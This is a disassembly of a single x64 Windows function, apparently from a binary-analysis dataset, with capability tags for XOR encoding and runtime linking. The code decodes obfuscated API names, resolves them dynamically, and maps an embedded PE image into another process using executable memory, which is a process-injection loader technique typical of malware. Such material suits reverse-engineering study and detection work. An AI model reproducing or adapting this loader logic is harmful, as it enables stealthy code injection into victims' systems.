Function at 0x140001000
Capabilities:
Encode data using xor
Link many functions at runtime

Disassembly:
mov rax, rsp
mov qword [rax + 0x10], rbx
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rax - 0x128]
sub rsp, 0x200
movaps xmmword [rax - 0x38], xmm6
movaps xmmword [rax - 0x48], xmm7
movaps xmmword [rax - 0x58], xmm8
movaps xmmword [rax - 0x68], xmm9
movaps xmmword [rax - 0x78], xmm10
mov rax, qword [section..data]
xor rax, rsp
mov qword [rbp + 0xa8], rax
cmp byte [0x1400042cf], 0
mov rbx, rcx
movups xmm0, xmmword [str.GuYZX_XNjTLK5_.]
mov edi, dword [0x140006058]
movdqa xmm8, xmmword [0x140004380]
movdqa xmm7, xmmword [0x140004340]
movdqa xmm10, xmmword [0x140004390]
movdqa xmm9, xmmword [0x140004360]
movdqa xmm6, xmmword [0x1400043b0]
movups xmmword [rbp - 0x60], xmm0
movsd xmm0, qword [0x1400042c8]
movsd qword [rbp - 0x50], xmm0
je 0x1400011e1
cmp edi, 2
jl 0x1400011a7
movdqa xmmword [rbp + 0x70], xmm10
lea rcx, [rbp - 0x5c]
mov r8d, dword [rbp + 0x70]
xor edx, edx
movd xmm2, edx
lea eax, [rdx + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm7
add edx, 8
movdqa xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm6
pmuldq xmm1, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm2, xmm0
movd xmm0, r8d
andps xmm2, xmm8
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 0xc]
xorps xmm2, xmm0
movd dword [rcx - 0xc], xmm2
movd xmm2, eax
pshufd xmm2, xmm2, 0
paddd xmm2, xmm7
movdqa xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm6
pmuldq xmm1, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm2, xmm0
movd xmm0, r8d
andps xmm2, xmm8
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movd dword [rcx - 8], xmm2
cmp edx, 0x18
jl 0x1400010c0
jmp 0x1400011e1
lea r9, [rbp - 0x60]
xor r8d, r8d
nop
mov eax, 0x5397829d
lea r9, [r9 + 1]
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x31
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x32
xor byte [r9 - 1], al
cmp r8d, 0x18
jl 0x1400011b0
mov rcx, qword [0x140009070]
lea rdx, [rbp - 0x60]
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov ecx, dword [0x1400042f8]
xor r8d, r8d
mov dword [rsp + 0x50], ecx
mov rsi, rax
movzx ecx, word [0x1400042fc]
mov word [rsp + 0x54], cx
movzx ecx, byte [0x1400042fe]
mov byte [rsp + 0x56], cl
mov qword [rbp + 0x88], rax
movups xmm0, xmmword [str.GdGYC_ZNmUOJJ__]
movups xmmword [rsp + 0x40], xmm0
cmp edi, 2
jl 0x14000133d
movdqa xmmword [rbp + 0x70], xmm10
lea rcx, [rsp + 0x44]
mov edx, dword [rbp + 0x70]
nop dword [rax]
nop word [rax + rax]
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm7
add r8d, 8
movdqa xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm6
pmuldq xmm1, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm2, xmm0
movd xmm0, edx
andps xmm2, xmm8
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 0xc]
xorps xmm2, xmm0
movd dword [rcx - 0xc], xmm2
movd xmm2, eax
pshufd xmm2, xmm2, 0
paddd xmm2, xmm7
movdqa xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm6
pmuldq xmm1, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm2, xmm0
movd xmm0, edx
andps xmm2, xmm8
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movd dword [rcx - 8], xmm2
cmp r8d, 0x10
jl 0x140001250
cmp r8d, 0x17
jge 0x140001381
movsxd rax, r8d
lea r9, [rsp + 0x40]
add r9, rax
nop dword [rax + rax]
mov eax, 0x5397829d
lea r9, [r9 + 1]
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x31
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x32
xor byte [r9 - 1], al
cmp r8d, 0x17
jl 0x140001350
mov rcx, qword [0x140009070]
lea rdx, [rsp + 0x40]
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
cmp byte [0x1400042b3], 0
mov r15, rax
movups xmm0, xmmword [str.GrGSRnPHOIRr___1E]
mov ecx, dword [0x1400042b0]
mov qword [rbp - 0x28], rax
movups xmmword [rsp + 0x70], xmm0
mov dword [rbp - 0x80], ecx
je 0x140001511
xor r8d, r8d
cmp edi, 2
jl 0x1400014cd
movdqa xmmword [rbp + 0x70], xmm10
lea rcx, [rsp + 0x74]
mov edx, dword [rbp + 0x70]
nop word [rax + rax]
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm7
add r8d, 8
movdqa xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm6
pmuldq xmm1, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm2, xmm0
movd xmm0, edx
andps xmm2, xmm8
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 0xc]
xorps xmm2, xmm0
movd dword [rcx - 0xc], xmm2
movd xmm2, eax
pshufd xmm2, xmm2, 0
paddd xmm2, xmm7
movdqa xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm6
pmuldq xmm1, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm2, xmm0
movd xmm0, edx
andps xmm2, xmm8
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movd dword [rcx - 8], xmm2
cmp r8d, 0x10
jl 0x1400013e0
cmp r8d, 0x14
jge 0x140001511
movsxd rax, r8d
lea r9, [rsp + 0x70]
add r9, rax
nop dword [rax + rax]
mov eax, 0x5397829d
lea r9, [r9 + 1]
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x31
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x32
xor byte [r9 - 1], al
cmp r8d, 0x14
jl 0x1400014e0
mov rcx, qword [0x140009070]
lea rdx, [rsp + 0x70]
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov ecx, dword [0x140004280]
xor r8d, r8d
mov dword [rsp + 0x68], ecx
mov r14, rax
movzx ecx, byte [0x140004284]
mov byte [rsp + 0x6c], cl
movups xmm0, xmmword [str.GcG_C_oSIHH_S_r___6_F]
movups xmmword [rsp + 0x58], xmm0
cmp edi, 2
jl 0x14000164e
movdqa xmmword [rbp + 0x70], xmm10
lea rcx, [rsp + 0x5c]
mov edx, dword [rbp + 0x70]
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm7
add r8d, 8
movdqa xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm6
pmuldq xmm1, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm2, xmm0
movd xmm0, edx
andps xmm2, xmm8
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 0xc]
xorps xmm2, xmm0
movd dword [rcx - 0xc], xmm2
movd xmm2, eax
pshufd xmm2, xmm2, 0
paddd xmm2, xmm7
movdqa xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm6
pmuldq xmm1, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm2, xmm0
movd xmm0, edx
andps xmm2, xmm8
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movd dword [rcx - 8], xmm2
cmp r8d, 0x10
jl 0x140001561
cmp r8d, 0x15
jge 0x140001691
movsxd rax, r8d
lea r9, [rsp + 0x58]
add r9, rax
nop dword [rax]
mov eax, 0x5397829d
lea r9, [r9 + 1]
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x31
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x32
xor byte [r9 - 1], al
cmp r8d, 0x15
jl 0x140001660
mov rcx, qword [0x140009070]
lea rdx, [rsp + 0x58]
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
cmp byte [0x14000429b], 0
mov r12, rax
movups xmm0, xmmword [str.GfPWSnPHOIRr___1E]
mov ecx, dword [0x140004298]
mov dword [rbp - 0x68], ecx
movups xmmword [rbp - 0x78], xmm0
je 0x140001811
xor r8d, r8d
cmp edi, 2
jl 0x1400017cd
movdqa xmmword [rbp + 0x70], xmm10
lea rcx, [rbp - 0x74]
mov edx, dword [rbp + 0x70]
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm7
add r8d, 8
movdqa xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm6
pmuldq xmm1, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm2, xmm0
movd xmm0, edx
andps xmm2, xmm8
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 0xc]
xorps xmm2, xmm0
movd dword [rcx - 0xc], xmm2
movd xmm2, eax
pshufd xmm2, xmm2, 0
paddd xmm2, xmm7
movdqa xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm6
pmuldq xmm1, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm2, xmm0
movd xmm0, edx
andps xmm2, xmm8
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movd dword [rcx - 8], xmm2
cmp r8d, 0x10
jl 0x1400016e0
cmp r8d, 0x14
jge 0x140001811
movsxd rax, r8d
lea r9, [rbp - 0x78]
add r9, rax
nop word [rax + rax]
mov eax, 0x5397829d
lea r9, [r9 + 1]
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x31
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x32
xor byte [r9 - 1], al
cmp r8d, 0x14
jl 0x1400017e0
mov rcx, qword [0x140009070]
lea rdx, [rbp - 0x78]
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
cmp byte [0x1400042d7], 0
mov r13, rax
mov rcx, qword [0x1400042d0]
mov qword [rbp + 0x68], rcx
je 0x140001951
cmp edi, 2
jl 0x14000190b
movdqa xmm2, xmmword [0x140004350]
movdqa xmm1, xmm7
punpckldq xmm1, xmm7
movdqa xmm0, xmm7
punpckhdq xmm0, xmm7
pmuldq xmm0, xmm6
pmuldq xmm1, xmm6
movd eax, xmm10
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movd xmm1, dword [rbp + 0x68]
pmulld xmm0, xmm9
psubd xmm7, xmm0
movd xmm0, eax
andps xmm7, xmm8
packuswb xmm7, xmm7
packuswb xmm7, xmm7
paddb xmm7, xmm0
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
xorps xmm7, xmm1
movdqa xmm1, xmm2
pmuldq xmm0, xmm6
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movd dword [rbp + 0x68], xmm7
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movd xmm1, dword [rbp + 0x6c]
pmulld xmm0, xmm9
psubd xmm2, xmm0
movd xmm0, eax
andps xmm2, xmm8
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
xorps xmm2, xmm1
movd dword [rbp + 0x6c], xmm2
jmp 0x140001951
lea r9, [rbp + 0x68]
xor r8d, r8d
nop dword [rax]
nop word [rax + rax]
mov eax, 0x5397829d
lea r9, [r9 + 1]
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x31
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x32
xor byte [r9 - 1], al
cmp r8d, 8
jl 0x140001920
mov rcx, qword [0x140009070]
lea rdx, [rbp + 0x68]
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov eax, 0x5a4d
mov qword [rbp - 0x48], 0
cmp word [0x140006080], ax
jne 0x140001f82
movsxd rdi, dword [0x1400060bc]
lea rax, [0x140006080]
add rdi, rax
mov eax, 0x8664
cmp word [rdi + 4], ax
jne 0x140001f82
mov eax, dword [rdi + 0x50]
lea r9, [rbp + 0x80]
mov dword [rsp + 0x28], 4
lea rdx, [rbp - 0x48]
xor r8d, r8d
mov qword [rbp + 0x80], rax
mov rcx, rbx
mov dword [rsp + 0x20], 0x3000
call rsi
test eax, eax
js 0x140001f82
xor esi, esi
lea r8, [rbp + 0x80]
mov dword [rbp + 0x60], esi
lea rdx, [rbp - 0x48]
mov eax, dword [rdi + 0x50]
mov r9d, 0x40
mov qword [rbp + 0x80], rax
mov rcx, rbx
lea rax, [rbp + 0x60]
mov qword [rsp + 0x20], rax
call r15
test eax, eax
js 0x140001f82
mov rax, qword [sym.imp.KERNEL32.dll_LoadLibraryA]
lea r8, [0x140006080]
mov rdx, qword [rbp - 0x48]
mov r9d, 0x1000
mov qword [rbp - 0x20], rax
mov rcx, rbx
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [rbp - 0x18], rax
mov rax, qword [sym.imp.KERNEL32.dll_RtlAddFunctionTable]
mov qword [rbp - 0x10], rax
mov qword [rbp], rsi
mov qword [rbp + 8], 1
mov qword [rbp + 0x18], 1
mov qword [rbp - 8], rdx
mov qword [rbp + 0x10], rsi
mov qword [rsp + 0x20], rsi
call r12
test eax, eax
jns 0x140001a6e
lea rdx, [rbp - 0x48]
jmp 0x140001f73
movzx esi, word [rdi + 0x14]
xor r15d, r15d
add rsi, 0x24
cmp word [rdi + 6], r15w
je 0x140001ac4
add rsi, rdi
mov eax, dword [rsi + 4]
test eax, eax
je 0x140001ab4
mov r8d, dword [rsi + 8]
lea rcx, [0x140006080]
mov edx, dword [rsi]
add r8, rcx
add rdx, qword [rbp - 0x48]
mov rcx, rbx
mov r9d, eax
mov qword [rsp + 0x20], 0
call r12
test eax, eax
js 0x140001a65
movzx eax, word [rdi + 6]
inc r15d
add rsi, 0x28
cmp r15d, eax
jne 0x140001a83
mov r15, qword [rbp + 0x88]
lea r9, [rbp + 0x98]
xor esi, esi
mov dword [rsp + 0x28], 4
xor r8d, r8d
mov qword [rbp - 0x40], rsi
lea rdx, [rbp - 0x40]
mov qword [rbp + 0x98], 0x40
mov rcx, rbx
mov dword [rsp + 0x20], 0x3000
call r15
mov rcx, rbx
test eax, eax
jns 0x140001b10
lea rdx, [rbp - 0x48]
jmp 0x140001f76
mov rdx, qword [rbp - 0x40]
lea r8, [rbp - 0x20]
mov r9d, 0x40
mov qword [rsp + 0x20], rsi
call r12
xor r8d, r8d
mov rcx, rbx
test eax, eax
jns 0x140001b4e
mov r9d, 0x8000
lea rdx, [rbp - 0x48]
call r14
test eax, eax
js 0x140001f82
lea rdx, [rbp - 0x40]
jmp 0x140001f73
mov dword [rsp + 0x28], 0x40
lea r9, [rbp + 0xa0]
lea rdx, [rbp - 0x38]
mov dword [rsp + 0x20], 0x3000
mov qword [rbp - 0x38], rsi
mov qword [rbp + 0xa0], 0x1000
call r15
mov rcx, rbx
test eax, eax
jns 0x140001b87
xor r8d, r8d
jmp 0x140001b30
mov rdx, qword [rbp - 0x38]
lea r8, [0x140001fd0]
mov r9d, 0x1000
mov qword [rsp + 0x20], rsi
call r12
mov rcx, rbx
test eax, eax
js 0x140001f44
mov r9, qword [rbp - 0x48]
mov r8, qword [rbp - 0x40]
mov rdx, qword [rbp - 0x38]
call fcn.140002a30
test al, al
jne 0x140001c20
mov r9d, 0x8000
lea rdx, [rbp - 0x48]
xor r8d, r8d
mov rcx, rbx
call r14
test eax, eax
js 0x140001f82
mov r9d, 0x8000
lea rdx, [rbp - 0x40]
xor r8d, r8d
mov rcx, rbx
call r14
test eax, eax
js 0x140001f82
mov r9d, 0x8000
lea rdx, [rbp - 0x38]
xor r8d, r8d
mov rcx, rbx
call r14
test eax, eax
js 0x140001f82
nop dword [rax]
nop word [rax + rax]
lea rdx, [rbp + 0x68]
mov dword [rbp + 0x68], esi
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_GetExitCodeProcess]
cmp dword [rbp + 0x68], 0x103
jne 0x140001f82
mov rdx, qword [rbp - 0x40]
lea r8, [rbp + 0x20]
xorps xmm0, xmm0
mov qword [rsp + 0x20], rsi
mov r9d, 0x40
mov rcx, rbx
movups xmmword [rbp + 0x20], xmm0
movups xmmword [rbp + 0x30], xmm0
movups xmmword [rbp + 0x40], xmm0
movups xmmword [rbp + 0x50], xmm0
call r13
test eax, eax
js 0x140001f82
mov rsi, qword [rbp + 0x40]
cmp rsi, 0x404040
je 0x140001f41
mov ecx, 0xa
call qword [sym.imp.KERNEL32.dll_Sleep]
test rsi, rsi
mov esi, 0
je 0x140001c20
xor r13d, r13d
mov dword [rsp + 0x28], 0x40
lea r9, [rbp + 0x90]
mov qword [rbp - 0x30], r13
xor r8d, r8d
mov qword [rbp + 0x90], 0x1400000
lea rdx, [rbp - 0x30]
mov dword [rsp + 0x20], 0x3000
mov rcx, rbx
call r15
test eax, eax
js 0x140001f82
mov r8, qword [rbp + 0x90]
xor edx, edx
mov rcx, qword [rbp - 0x30]
call sub.VCRUNTIME140.dll_memset
mov r8, qword [rbp - 0x30]
mov r9d, 0x1000
mov rdx, qword [rbp - 0x48]
mov rcx, rbx
mov qword [rsp + 0x20], r13
call r12
test eax, eax
js 0x140001f82
movzx esi, word [rdi + 0x14]
mov r14d, r13d
movzx eax, word [rdi + 6]
add rsi, 0x18
add rsi, rdi
test ax, ax
je 0x140001e62
movzx r9d, word [0x1400042e4]
mov r15d, dword [0x1400042e0]
movzx r13d, byte [0x1400042de]
movzx r10d, word [0x1400042dc]
mov r11d, dword [rsi + 8]
test r11d, r11d
je 0x140001e4b
mov dword [rsp + 0x30], r15d
lea r8, [rsp + 0x30]
xor byte [rsp + 0x31], 0x33
movzx eax, r9b
xor byte [rsp + 0x32], 0x34
xor al, 0x36
xor byte [rsp + 0x33], 0x35
mov word [rsp + 0x34], r9w
xor byte [rsp + 0x35], 0x37
mov byte [rsp + 0x34], al
sub r8, rsi
mov rax, rsi
mov byte [rsp + 0x30], 0x2e
nop dword [rax + rax]
movzx edx, byte [rax]
movzx ecx, byte [rax + r8]
sub edx, ecx
jne 0x140001da3
inc rax
test ecx, ecx
jne 0x140001d90
test edx, edx
je 0x140001e07
mov eax, dword [0x1400042d8]
lea r8, [rsp + 0x38]
mov dword [rsp + 0x38], eax
movzx ecx, r13b
xor byte [rsp + 0x39], 0x33
movzx eax, r10b
xor byte [rsp + 0x3a], 0x34
xor al, 0x36
xor byte [rsp + 0x3b], 0x35
xor cl, 0x38
mov word [rsp + 0x3c], r10w
xor byte [rsp + 0x3d], 0x37
mov byte [rsp + 0x3c], al
sub r8, rsi
mov rax, rsi
mov byte [rsp + 0x38], 0x2e
mov byte [rsp + 0x3e], cl
movzx edx, byte [rax]
movzx ecx, byte [rax + r8]
sub edx, ecx
jne 0x140001e03
inc rax
test ecx, ecx
jne 0x140001df0
test edx, edx
jne 0x140001e4b
mov edx, dword [rsi + 0xc]
mov r9, r11
add rdx, qword [rbp - 0x48]
mov rcx, rbx
mov r8, qword [rbp - 0x30]
mov qword [rsp + 0x20], 0
call r12
test eax, eax
js 0x140001f82
movzx r9d, word [0x1400042e4]
mov r15d, dword [0x1400042e0]
movzx r13d, byte [0x1400042de]
movzx r10d, word [0x1400042dc]
movzx eax, word [rdi + 6]
inc r14d
add rsi, 0x28
cmp r14d, eax
jne 0x140001d42
xor r13d, r13d
movzx esi, word [rdi + 0x14]
mov r14d, r13d
mov r15, qword [rbp - 0x28]
add rsi, 0x3c
test ax, ax
je 0x140001ef0
add rsi, rdi
mov edx, 0x20
nop
mov ecx, dword [rsi - 0x1c]
test ecx, ecx
je 0x140001ee0
mov eax, dword [rsi]
test eax, 0x80000000
jbe 0x140001e98
mov r9d, 4
jmp 0x140001ea7
test eax, 0x20000000
mov r9d, 2
cmova r9d, edx
mov eax, dword [rsi - 0x18]
lea r8, [rbp + 0x88]
add rax, qword [rbp - 0x48]
lea rdx, [rbp - 0x28]
mov qword [rbp - 0x28], rax
lea rax, [rbp + 0x60]
mov qword [rbp + 0x88], rcx
mov rcx, rbx
mov qword [rsp + 0x20], rax
call r15
test eax, eax
js 0x140001f82
mov edx, 0x20
movzx eax, word [rdi + 6]
inc r14d
add rsi, 0x28
cmp r14d, eax
jne 0x140001e80
movzx eax, word [rdi + 0x14]
lea r8, [rbp + 0x70]
mov dword [rbp + 0x68], r13d
lea rdx, [rbp - 0x48]
mov r9d, 2
mov ecx, dword [rax + rdi + 0x24]
lea rax, [rbp + 0x68]
mov qword [rbp + 0x70], rcx
mov rcx, rbx
mov qword [rsp + 0x20], rax
call r15
test eax, eax
js 0x140001f82
mov r8, qword [rbp - 0x30]
mov r9d, 0x1000
mov rdx, qword [rbp - 0x38]
mov rcx, rbx
mov qword [rsp + 0x20], r13
call r12
test eax, eax
setns al
jmp 0x140001f84
mov rcx, rbx
mov r9d, 0x8000
lea rdx, [rbp - 0x48]
xor r8d, r8d
call r14
test eax, eax
js 0x140001f82
mov r9d, 0x8000
lea rdx, [rbp - 0x40]
xor r8d, r8d
mov rcx, rbx
call r14
test eax, eax
js 0x140001f82
lea rdx, [rbp - 0x38]
mov rcx, rbx
mov r9d, 0x8000
xor r8d, r8d
call r14
xor al, al
mov rcx, qword [rbp + 0xa8]
xor rcx, rsp
call fcn.140003080
lea r11, [rsp + 0x200]
mov rbx, qword [r11 + 0x38]
mov rsi, qword [r11 + 0x40]
mov rdi, qword [r11 + 0x48]
movaps xmm6, xmmword [r11 - 0x10]
movaps xmm7, xmmword [r11 - 0x20]
movaps xmm8, xmmword [r11 - 0x30]
movaps xmm9, xmmword [r11 - 0x40]
movaps xmm10, xmmword [r11 - 0x50]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret